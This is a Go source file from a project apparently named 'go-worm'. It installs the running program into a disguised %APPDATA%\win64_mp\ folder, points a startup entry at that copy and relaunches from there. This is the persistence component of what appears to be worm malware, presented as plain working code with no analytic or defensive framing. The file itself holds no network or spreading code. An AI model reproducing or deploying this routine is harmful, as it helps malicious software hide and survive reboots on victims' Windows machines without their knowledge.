package install

import (
	"fmt"
	"io"
	"os"
	"path/filepath"
	"strings"

	"tea.chunkbyte.com/kato/go-worm/lib/config"
)

// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
	target, err := config.InstalledExe()
	if err != nil {
		return err
	}
	current, err := os.Executable()
	if err != nil {
		return err
	}
	current, err = filepath.Abs(current)
	if err != nil {
		return err
	}
	target, err = filepath.Abs(target)
	if err != nil {
		return err
	}
	if samePath(current, target) {
		return nil
	}

	if err := copyExe(current, target); err != nil {
		if _, statErr := os.Stat(target); statErr != nil {
			return fmt.Errorf("copy to %s: %w", target, err)
		}
	}

	if err := syncStartup(); err != nil {
		return fmt.Errorf("update startup path: %w", err)
	}

	return relaunchInstalled(target)
}

func copyExe(from, to string) error {
	if err := os.MkdirAll(filepath.Dir(to), 0o700); err != nil {
		return err
	}
	src, err := os.Open(from)
	if err != nil {
		return err
	}
	defer src.Close()

	dst, err := os.OpenFile(to, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0o700)
	if err != nil {
		return err
	}
	defer dst.Close()

	if _, err := io.Copy(dst, src); err != nil {
		return err
	}
	return nil
}

func samePath(a, b string) bool {
	a = filepath.Clean(a)
	b = filepath.Clean(b)
	return strings.EqualFold(a, b)
}